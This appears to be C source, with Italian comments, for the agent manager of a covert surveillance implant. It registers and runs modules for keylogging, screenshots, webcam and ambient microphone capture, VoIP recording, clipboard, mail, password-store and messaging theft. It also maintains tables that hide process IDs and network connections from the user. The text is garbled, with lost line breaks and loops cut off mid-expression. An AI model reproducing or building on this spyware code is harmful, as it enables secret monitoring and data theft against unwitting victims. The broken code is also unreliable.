#include #include "common.h" #include "H4-DLL.h" #include "AM_Core.h" #include "LOG.h" #include "JSON\JSON.h" // XXX Definita in HM_IpcModule!!!! #define MAX_MSG_LEN 512 // Lunghezza di un messaggio typedef struct { BYTE status; #define STATUS_FREE 0 // Libero #define STATUS_BUSY 1 // In scrittura #define STATUS_WRIT 2 // Scritto FILETIME time_stamp; DWORD wrapper_tag; DWORD message_len; DWORD flags; DWORD priority; #define IPC_LOW_PRIORITY 0x0 #define IPC_DEF_PRIORITY 0x10 #define IPC_HI_PRIORITY 0x100 BYTE message[MAX_MSG_LEN]; } message_struct; extern message_struct *IPCServerPeek(); extern void IPCServerRemove(message_struct *); extern void IPCServerWrite(DWORD, BYTE *, DWORD); extern BOOL IPCServerInit(); extern void PM_FileAgentRegister(); extern void PM_KeyLogRegister(); extern void PM_SnapShotRegister(); extern void PM_WiFiLocationRegister(); extern void PM_PrintAgentRegister(); extern void PM_CrisisAgentRegister(); extern void PM_VoipRecordRegister(); extern void PM_UrlLogRegister(); extern void PM_ClipBoardRegister(); extern void PM_WebCamRegister(); extern void PM_AmbMicRegister(); extern void PM_MailCapRegister(); extern void PM_PStoreAgentRegister(); extern void PM_IMRegister(); extern void PM_DeviceInfoRegister(); extern void PM_MoneyRegister(); extern void PM_MouseLogRegister(); extern void PM_ApplicationRegister(); extern void PM_PDAAgentRegister(); extern void PM_ContactsRegister(); extern void PM_SocialAgentRegister(); typedef void (WINAPI *conf_callback_t)(JSONObject, DWORD counter); extern BOOL HM_ParseConfSection(char *conf, WCHAR *section, conf_callback_t call_back); void AM_SuspendRestart(DWORD); typedef DWORD (__stdcall *PMD_Generic_t) (BYTE *, DWORD, DWORD, FILETIME *); // Prototipo per il dispatch typedef DWORD (__stdcall *PMS_Generic_t) (BOOL, BOOL); // Prototipo per lo Start/Stop typedef DWORD (__stdcall *PMI_Generic_t) (JSONObject); // Prototipo per l'Init typedef DWORD (__stdcall *PMU_Generic_t) (void); // Prototipo per l'UnRegister #define AM_MAXDISPATCH 50 typedef struct { WCHAR agent_name[32]; DWORD agent_tag; PMD_Generic_t pDispatch; PMS_Generic_t pStartStop; PMI_Generic_t pInit; PMU_Generic_t pUnRegister; BOOL started; } AMDispatchStruct; AMDispatchStruct aDispatchArray[AM_MAXDISPATCH]; DWORD dwDispatchCnt = 0; //////////////////////////////////////////////// // Funzioni e strutture per l'hiding dinamico // // di connessioni,PID e directory // //////////////////////////////////////////////// BYTE *hiding_table[HIDE_ELEM] = {NULL, NULL}; DWORD hiding_count[HIDE_ELEM] = {0, 0}; // Numero di elementi nascosti per tipo CRITICAL_SECTION hide_critic_sec; // Ritorna la dimensione dell'elemento corrispondente al tipo DWORD AM_HideElemSize(DWORD type) { if (type == HIDE_PID) return sizeof(pid_hide_struct); else if (type == HIDE_CNN) return sizeof(connection_hide_struct); else return 0; } // Ritorna il wrapper tag relativo al tipo da nascondere DWORD AM_HideWrapperTag(DWORD type) { if (type == HIDE_PID) return WR_HIDE_PID; else if (type == HIDE_CNN) return WR_HIDE_CON; else return 0; } // Ritorna una struttura nulla del tipo relativo BYTE *AM_HideNullEntry(DWORD type) { static connection_hide_struct connection_hide = NULL_CONNETCION_HIDE_STRUCT; static pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT; if (type == HIDE_PID) return (BYTE *)&pid_hide; else if (type == HIDE_CNN) return (BYTE *)&connection_hide; else return NULL; } // Aggiunge un elemento da nascondere alla relativa tabella BOOL AM_AddHide(DWORD type, void *elem_par) { BYTE *elem = (BYTE *)elem_par; BYTE *temp_table = NULL; DWORD elem_size = 0; // Setta la dimensione di un elemento della tabella if ( (elem_size = AM_HideElemSize(type)) == 0 ) return FALSE; EnterCriticalSection(&hide_critic_sec); // Allarga la tabella degli elementi interessati // XXX...altro piccolo ed improbabile int overflow.... if ( !(temp_table = (BYTE *)realloc(hiding_table[type], (hiding_count[type] + 1)*elem_size)) ) { LeaveCriticalSection(&hide_critic_sec); return FALSE; } // Aggiunge l'elemento nuovo hiding_table[type] = temp_table; memcpy(hiding_table[type] + hiding_count[type] * elem_size, elem, elem_size); hiding_count[type]++; // Aggiorna la shared memory // Tiene conto che ogni wrapper ha a disposizione una dimensione massima // per la configurazione. Se la dimensione eccede quella copiabile, non fa // niente (gli elementi nuovi non verrebbero comunque copiati). // Termina sempre con una entry nulla (la memoria shared viene inizializzata // a 0). // Controlla che ci sia lo spazio per copiare la tabella e che venga // lasciata la entry nulla alla fine if ( (hiding_count[type] + 1) * elem_size > WRAPPER_MAX_SHARED_MEM ) { LeaveCriticalSection(&hide_critic_sec); return TRUE; } IPCServerWrite(AM_HideWrapperTag(type), hiding_table[type], hiding_count[type] * elem_size); LeaveCriticalSection(&hide_critic_sec); return TRUE; } // Toglie un elemento da nascondere dalla relativa tabella void AM_RemoveHide(DWORD type, void *elem_par) { BYTE *elem = (BYTE *)elem_par; DWORD elem_size = 0; DWORD i, last_bytes; // Setta la dimensione di un elemento della tabella if ( (elem_size = AM_HideElemSize(type)) == 0 ) return; EnterCriticalSection(&hide_critic_sec); // Cerca l'elemento da eliminare for (i=0; i WRAPPER_MAX_SHARED_MEM ) { LeaveCriticalSection(&hide_critic_sec); return; } IPCServerWrite(AM_HideWrapperTag(type), hiding_table[type], hiding_count[type] * elem_size); // Elimina la entry in piu' che prima era presente IPCServerWrite(AM_HideWrapperTag(type) + (hiding_count[type] * elem_size), AM_HideNullEntry(type), elem_size); } } LeaveCriticalSection(&hide_critic_sec); } // Vede se un elemento e' nascosto BOOL AM_IsHidden(DWORD type, void *elem_par) { BYTE *elem = (BYTE *)elem_par; DWORD elem_size = 0; DWORD i, last_bytes; // Setta la dimensione di un elemento della tabella if ( (elem_size = AM_HideElemSize(type)) == 0 ) return FALSE; EnterCriticalSection(&hide_critic_sec); // Cerca l'elemento da eliminare for (i=0; i= AM_MAXDISPATCH) return NULL; swprintf_s(aDispatchArray[dwDispatchCnt].agent_name, sizeof(aDispatchArray[dwDispatchCnt].agent_name)/ sizeof(WCHAR), L"%s", agent_name); aDispatchArray[dwDispatchCnt].agent_tag = agent_tag; aDispatchArray[dwDispatchCnt].pDispatch = (PMD_Generic_t) pDispatch; aDispatchArray[dwDispatchCnt].pStartStop = (PMS_Generic_t) pStartStop; aDispatchArray[dwDispatchCnt].pInit = (PMI_Generic_t) pInit; aDispatchArray[dwDispatchCnt].pUnRegister = (PMU_Generic_t) pUnRegister; aDispatchArray[dwDispatchCnt].started = FALSE; dwDispatchCnt++; return 1; } // Esegue il dispatch per il monitor dwTag DWORD AM_Dispatch(DWORD dwTag, BYTE * pMsg, DWORD dwMsgLen, DWORD dwFlags, FILETIME *tstamp) { DWORD i; for(i=0; i=0; i--) { if (aDispatchArray[i].pStartStop && aDispatchArray[i].started) aDispatchArray[i].pStartStop(TRUE, FALSE); } return 1; } #define STIME 25 HANDLE hAMThread = NULL; BOOL bAM_cp = FALSE; // Semaforo per uscita thread AgentManager DWORD AM_Main() { message_struct *msMsg; LOOP { CANCELLATION_POINT(bAM_cp); msMsg = IPCServerPeek(); if(msMsg) { AM_Dispatch(msMsg->wrapper_tag, msMsg->message, msMsg->message_len, msMsg->flags, &(msMsg->time_stamp)); IPCServerRemove(msMsg); } else Sleep(STIME); } return 1; } void InitAgents() { PM_FileAgentRegister(); PM_KeyLogRegister(); PM_SnapShotRegister(); PM_WiFiLocationRegister(); //PM_PrintAgentRegister(); PM_CrisisAgentRegister(); PM_UrlLogRegister(); PM_ClipBoardRegister(); PM_WebCamRegister(); PM_MailCapRegister(); PM_PStoreAgentRegister(); PM_IMRegister(); PM_DeviceInfoRegister(); PM_MoneyRegister(); PM_MouseLogRegister(); PM_ApplicationRegister(); PM_PDAAgentRegister(); PM_ContactsRegister(); PM_AmbMicRegister(); PM_SocialAgentRegister(); PM_VoipRecordRegister(); // ma teniamolo per ultimo va, cosi' lo stoppa per ultimo } // Inizializza e lancia la prima volta l'AgentManager DWORD AM_Startup() { BOOL ret_val = IPCServerInit(); if (ret_val) { LOG_InitLog(); InitializeCriticalSection(&hide_critic_sec); InitAgents(); return 1; } return 0; } // Legge la configurazione degli agent da file void WINAPI ParseModules(JSONObject module, DWORD dummy) { AM_MonitorInit(AM_GetAgentTag(module[L"module"]->AsString().c_str()), module); } void UpdateAgentConf() { JSONObject dummy; char *conf_json = HM_ReadClearConf(H4_CONF_FILE); if (conf_json) { HM_ParseConfSection(conf_json, L"modules", &ParseModules); // Inizializza l'agente "fantasma" social AM_MonitorInit(AM_GetAgentTag(L"social"), dummy); } SAFE_FREE(conf_json); } // Sospende/riprende il thread di AgentManager e starta/stoppa tutti gli agent, // per chiudere tutti i log prima di poterli spedire. // RESTART = inizializza la prima volta o (dopo una suspend) riporta tutto allo stato // del file di configurazione (nel caso di una nuova conf scaricata). // SUSPEND = Stoppa gli agent memorizzando lo stato in cui si trovavano in quel momento // RESTART = Rimette gli agent nello stato in cui erano al momento della suspend (usato // dopo che viene scambiata la coda dei log). void AM_SuspendRestart(DWORD action) { DWORD dwThid; // Stoppa tutti gli agent if (action == AM_SUSPEND) { // Killa il thread e stoppa gli agent QUERY_CANCELLATION(hAMThread, bAM_cp); AM_MonitorSuspendAll(); } else if (action == AM_RESET) { // Attiva gli agent e inizializza il thread // riportandoli nello stato del file di configuazione. AM_MonitorStopAll(); UpdateAgentConf(); hAMThread = HM_SafeCreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) AM_Main, (LPVOID) NULL, 0, &dwThid); } else if (action == AM_RESTART) { // Attiva gli agent (secondo lo stato salvato) // e inizializza il thread. AM_MonitorRestartAll(); hAMThread = HM_SafeCreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) AM_Main, (LPVOID) NULL, 0, &dwThid); } else if (action == AM_EXIT) { // Killa il thread e stoppa gli agent QUERY_CANCELLATION(hAMThread, bAM_cp); // Esegue le funzioni di uscita degli agent AM_UnRegisterAll(); } } .